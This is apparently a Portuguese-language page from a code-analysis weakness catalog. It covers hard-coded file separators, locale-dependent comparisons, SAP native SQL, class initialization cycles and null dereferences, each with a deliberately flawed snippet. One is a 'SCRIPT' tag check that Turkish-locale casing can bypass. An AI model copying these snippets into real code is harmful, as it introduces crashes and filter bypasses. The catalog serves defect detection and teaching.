Reino: Code Quality

Códigos de baixa qualidade levam a comportamentos imprevisíveis. Da perspectiva do usuário, isso normalmente se manifesta como usabilidade ruim. Para um invasor, trata-se de uma oportunidade para atacar o sistema de formas imprevistas.

89 itens encontrados
Vulnerabilidades
Abstract
O uso de separadores de arquivo inseridos em código fixo causa problemas de portabilidade.
Explanation
Diferentes sistemas operacionais usam diferentes caracteres como separadores de arquivo. Por exemplo, os sistemas Microsoft Windows usam "\", enquanto os sistemas UNIX usam "/". Quando os aplicativos precisam ser executados em plataformas diferentes, o uso de separadores de arquivo inseridos em código fixo pode resultar na execução incorreta da lógica do aplicativo e, potencialmente, em uma negação de serviço.

Exemplo 1: O seguinte código usa um separador de arquivo inserido em código fixo para abrir um arquivo:


...
var file:File = new File(directoryName + "\\" + fileName);
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002520 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002520 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002520 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002520 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002520 CAT II
desc.dataflow.actionscript.portability_flaw_file_separator
Abstract
O uso de separadores de arquivo inseridos em código fixo causa problemas de portabilidade.
Explanation
Diferentes sistemas operacionais usam diferentes caracteres como separadores de arquivo. Por exemplo, os sistemas Microsoft Windows usam "\", enquanto os sistemas UNIX usam "/". Quando os aplicativos precisam ser executados em plataformas diferentes, o uso de separadores de arquivo inseridos em código fixo pode resultar na execução incorreta da lógica do aplicativo e, potencialmente, em uma negação de serviço.

Exemplo 1: O seguinte código usa um separador de arquivo inserido em código fixo para abrir um arquivo:


...
FileStream f = File.Create(directoryName + "\\" + fileName);
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002520 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002520 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002520 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002520 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002520 CAT II
desc.dataflow.dotnet.portability_flaw_file_separator
Abstract
O uso de separadores de arquivo inseridos em código fixo causa problemas de portabilidade.
Explanation
Diferentes sistemas operacionais usam diferentes caracteres como separadores de arquivo. Por exemplo, os sistemas Microsoft Windows usam "\", enquanto os sistemas UNIX usam "/". Quando os aplicativos precisam ser executados em plataformas diferentes, o uso de separadores de arquivo inseridos em código fixo pode resultar na execução incorreta da lógica do aplicativo e, potencialmente, em uma negação de serviço.

Exemplo 1: O seguinte código usa um separador de arquivo inserido em código fixo para abrir um arquivo:


...
File file = new File(directoryName + "\\" + fileName);
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002520 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002520 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002520 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002520 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002520 CAT II
desc.dataflow.java.portability_flaw_file_separator
Abstract
O uso de separadores de arquivo inseridos em código fixo causa problemas de portabilidade.
Explanation
Diferentes sistemas operacionais usam diferentes caracteres como separadores de arquivo. Por exemplo, os sistemas Microsoft Windows usam "\", enquanto os sistemas UNIX usam "/". Quando os aplicativos precisam ser executados em plataformas diferentes, o uso de separadores de arquivo inseridos em código fixo pode resultar na execução incorreta da lógica do aplicativo e, potencialmente, em uma negação de serviço.

Exemplo 1: O seguinte código usa um separador de arquivo inserido em código fixo para abrir um arquivo:


...
os.open(directoryName + "\\" + fileName);
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002520 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002520 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002520 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002520 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002520 CAT II
desc.dataflow.python.portability_flaw_file_separator
Abstract
Problemas de portabilidade inesperados podem ser encontrados quando a localidade não é especificada.
Explanation
Ao comparar dados que pode ser dependentes de localidade, uma localidade apropriada deve ser especificada.

Exemplo 1: O exemplo a seguir tenta realizar uma validação para determinar se a entrada do usuário inclui uma tag <script>.

...
public String tagProcessor(String tag){
if (tag.toUpperCase().equals("SCRIPT")){
return null;
}
//does not contain SCRIPT tag, keep processing input
...
}
...


O problema com o Example 1 é que java.lang.String.toUpperCase(), quando usado sem uma localidade, aplica as regras da localidade padrão. O uso da localidade turca "title".toUpperCase() retorna "T\u0130TLE", onde "\u0130" é o caractere "LATIN CAPITAL LETTER I WITH DOT ABOVE". Isso pode provocar resultados inesperados, como no Example 1, em que isso impedirá que a palavra "script" seja capturada por essa validação, podendo causar uma vulnerabilidade de Cross-Site Scripting.
References
[1] STR02-J. Specify an appropriate locale when comparing locale-dependent data CERT
[2] String (JavaDoc) Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 474
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002520 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002520 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002520 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002520 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002520 CAT II
desc.controlflow.java.portability_flaw_locale_dependent_comparison
Abstract
O uso de SQL nativo causa problemas de portabilidade.
Explanation
Os sistemas SAP são projetados para serem independentes de plataforma. Open SQL, o dialeto SQL portátil do SAP, torna os aplicativos independentes do driver JDBC de um fornecedor de banco de dados específico. A utilização do Open SQL abstrai os meandros do banco de dados subjacente e fornece uma interface comum para programas de aplicativo para todas as operações de banco de dados. No entanto, o SQL nativo é específico do banco de dados subjacente e, portanto, o uso dele em outras plataformas pode provocar a execução incorreta da lógica do aplicativo e, potencialmente, uma negação de serviço.
Exemplo 1: O seguinte código usa SQL nativo:


...
import java.sql.PreparedStatement;
import com.sap.sql.NativeSQLAccess;

String mssOnlyStmt = "...";
// variant 1
PreparedStatement ps =
NativeSQLAccess.prepareNativeStatement(
conn, mssOnlyStmt);
. . .
// variant 2
Statement stmt =
NativeSQLAccess.createNativeStatement(conn);
int result = stmt.execute(mssOnlyStmt);
. . .
// variant 3
CallableStatement cs =
NativeSQLAccess.prepareNativeCall(
conn, mssOnlyStmt);
. . .
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
desc.structural.java.portability_flaw_native_sql
Abstract
Atribuir um campo estático a um novo objeto chama o construtor mesmo que ele seja dependente da inicialização de outras variáveis, o que pode fazer com que os objetos sejam inicializados incorretamente.
Explanation
Quando uma classe Java é inicializada, ele chama os inicializadores para campos estáticos declarados na classe antes do construtor da classe. Isso significa que um construtor atribuído a isso será chamado antes do outro código e, se esse construtor for dependente da inicialização de outros campos ou variáveis, isso poderá resultar em objetos parcialmente inicializados ou em objetos inicializados com valores incorretos.

Exemplo 1: A classe a seguir declara um campo estático e o atribui a um novo objeto.


...
public class Box{
public int area;
public static final int width = 10;
public static final Box box = new Box();
public static final int height = (int) (Math.random() * 100);

public Box(){
area = width * height;
}
...
}
...


No Example 1, o desenvolvedor esperaria que box.area fosse um número inteiro aleatório que, por acaso, é um múltiplo de 10, já que width é igual a 10. Porém, na realidade, isso sempre terá um valor inserido em código fixo de 0. Campos estáticos finais declarados com uma constante em tempo de compilação são inicializados primeiros e depois cada um é executado em ordem. Isso significa que, como height não é uma constante em tempo de compilação, ela é declarada após a declaração de box e, portanto, o construtor é chamado antes da inicialização do campo height.

Exemplo 2: As seguintes classes declaram campos estáticos que dependem uns dos outros.


...
class Foo{
public static final int f = Bar.b - 1;
...
}
...
class Bar{
public static final int b = Foo.f + 1;
...
}

This example is perhaps easier to identify, but would be dependent on which class is loaded first by the JVM. In this example Foo.f could be either -1 or 0, and Bar.b could be either 0 or 1.
References
[1] DCL00-J. Prevent class initialization cycles CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 362, CWE ID 367
[3] Standards Mapping - Common Weakness Enumeration Top 25 2022 [22] CWE ID 362
[4] Standards Mapping - Common Weakness Enumeration Top 25 2023 [21] CWE ID 362
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000366, CCI-003178
[6] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-6 Configuration Settings (P1), SA-11 Developer Security Testing and Evaluation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-6 Configuration Settings, SA-11 Developer Testing and Evaluation
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.11.2 Business Logic Architectural Requirements (L2 L3), 1.11.3 Business Logic Architectural Requirements (L3), 11.1.6 Business Logic Security Requirements (L2 L3)
[10] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.3 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.3 - Terminal Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 362
[21] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 362
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3630.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3630.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3630.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3630.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3630.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3630.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3630.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001995 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001995 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001995 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001995 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001995 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001995 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001995 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001995 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001995 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001995 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001995 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001995 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001995 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001995 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001995 CAT II
desc.structural.java.race_condition_class_initialization_cycle
Abstract
O programa pode potencialmente desreferenciar um ponteiro nulo, causando uma falha de segmentação.
Explanation
Exceções de ponteiro nulo ocorrem geralmente quando uma ou mais suposições do programador são violadas. Existem pelo menos três faces desse problema: verificação após desreferência, desreferência após verificação e desreferência após armazenamento. Um erro de verificação após o cancelamento da referência ocorre quando um programa desfaz a referência a um ponteiro que pode ser null antes que seja verificado se ele é realmente null. Erros de desreferência após a verificação ocorrem quando um programa faz uma verificação explícita em busca de valores null, mas prossegue para desreferenciar o ponteiro quando se sabe que ele é null. Erros desse tipo são frequentemente o resultado de um erro de digitação ou de uma desatenção do programador. Um erro de desreferência após o armazenamento ocorre quando um programa define explicitamente um ponteiro como null e o desreferencia mais tarde. Esse erro é frequentemente o resultado de um programador inicializar uma variável como null quando ela é declarada.

A maioria dos problemas de ponteiro nulo resulta em problemas gerais de confiabilidade de software. Porém, se um invasor puder provocar intencionalmente uma desreferência a um ponteiro nulo, talvez ele consiga usar a exceção resultante para se esquivar da lógica de segurança a fim de formular um ataque de denial of service ou fazer com que o aplicativo revele informações de depuração que serão valiosas no planejamento de ataques subsequentes.

Exemplo 1: No código a seguir, o programador confirma que o objeto foo é null e depois o desreferencia erroneamente. Se foo for null quando for verificado na instrução if, ocorrerá um cancelamento de referência null, o que causa uma exceção de ponteiro nulo.


if (foo is null) {
foo.SetBar(val);
...
}
Exemplo 2: No código a seguir, o programador supõe que a variável foo não seja null e confirma essa suposição desfazendo a referência ao objeto. No entanto, o programador mais tarde contradiz a suposição, verificando foo com base em null. Se a variável foo puder ser null quando for verificada na instrução if, ela também poderá ser null quando sua referência for desfeita, podendo causar uma exceção de ponteiro nulo. Ou o cancelamento de referência não é seguro, ou a verificação subsequente é desnecessária.


foo.SetBar(val);
...
if (foo is not null) {
...
}
Exemplo 3: No código a seguir, o programador define explicitamente a variável foo como null. Mais tarde, o programador desreferencia foo antes de verificar o objeto em busca de um valor null.


Foo foo = null;
...
foo.SetBar(val);
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [14] CWE ID 476
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [13] CWE ID 476
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [15] CWE ID 476
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [11] CWE ID 476
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [12] CWE ID 476
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [21] CWE ID 476
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 11.1.7 Business Logic Security Requirements (L2 L3)
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.redundant_null_check
Abstract
O programa pode desreferenciar um ponteiro nulo, causando uma falha de segmentação.
Explanation
Exceções de ponteiro nulo ocorrem geralmente quando uma ou mais suposições do programador são violadas. Existem pelo menos três faces desse problema: verificação após desreferência, desreferência após verificação e desreferência após armazenamento. Um erro de verificação após o cancelamento da referência ocorre quando um programa desfaz a referência a um ponteiro que pode ser null antes que seja verificado se ele é realmente null. Erros de desreferência após a verificação ocorrem quando um programa faz uma verificação explícita em busca de valores null, mas prossegue para desreferenciar o ponteiro quando se sabe que ele é null. Erros desse tipo são frequentemente o resultado de um erro de digitação ou de uma desatenção do programador. Um erro de desreferência após o armazenamento ocorre quando um programa define explicitamente um ponteiro como null e o desreferencia mais tarde. Esse erro é frequentemente o resultado de um programador inicializar uma variável como null quando ela é declarada.

A maioria dos problemas de ponteiro nulo resulta em problemas gerais de confiabilidade de software. Porém, se um invasor puder provocar intencionalmente uma desreferência a um ponteiro nulo, talvez ele consiga usar a exceção resultante para se esquivar da lógica de segurança a fim de formular um ataque de negação de serviço ou fazer com que o aplicativo revele informações de depuração que serão valiosas no planejamento de ataques subsequentes.

Exemplo 1: No código a seguir, o programador supõe que a variável ptr não seja NULL. Essa suposição se torna explícita quando o programador desreferencia o ponteiro. Mais tarde, essa suposição é contrariada quando o programador verifica ptr contra NULL. Se a variável ptr puder ser NULL quando for verificada na instrução if, ela também poderá ser NULL quando desreferenciada, podendo causar uma falha de segmentação.


ptr->field = val;
...
if (ptr != NULL) {
...
}
Exemplo 2: No código a seguir, o programador confirma que a variável ptr é NULL e depois a desreferencia erroneamente. Se a variável ptr for NULL quando for verificada na instrução if, ocorrerá uma desreferência null, causando assim uma falha de segmentação.


if (ptr == null) {
ptr->field = val;
...
}
Exemplo 3: No código a seguir, o programador se esquece de que a cadeia de caracteres '\0' é, na verdade, 0 ou NULL, desreferenciando assim um ponteiro nulo e provocando uma falha de segmentação.


if (ptr == '\0') {
*ptr = val;
...
}
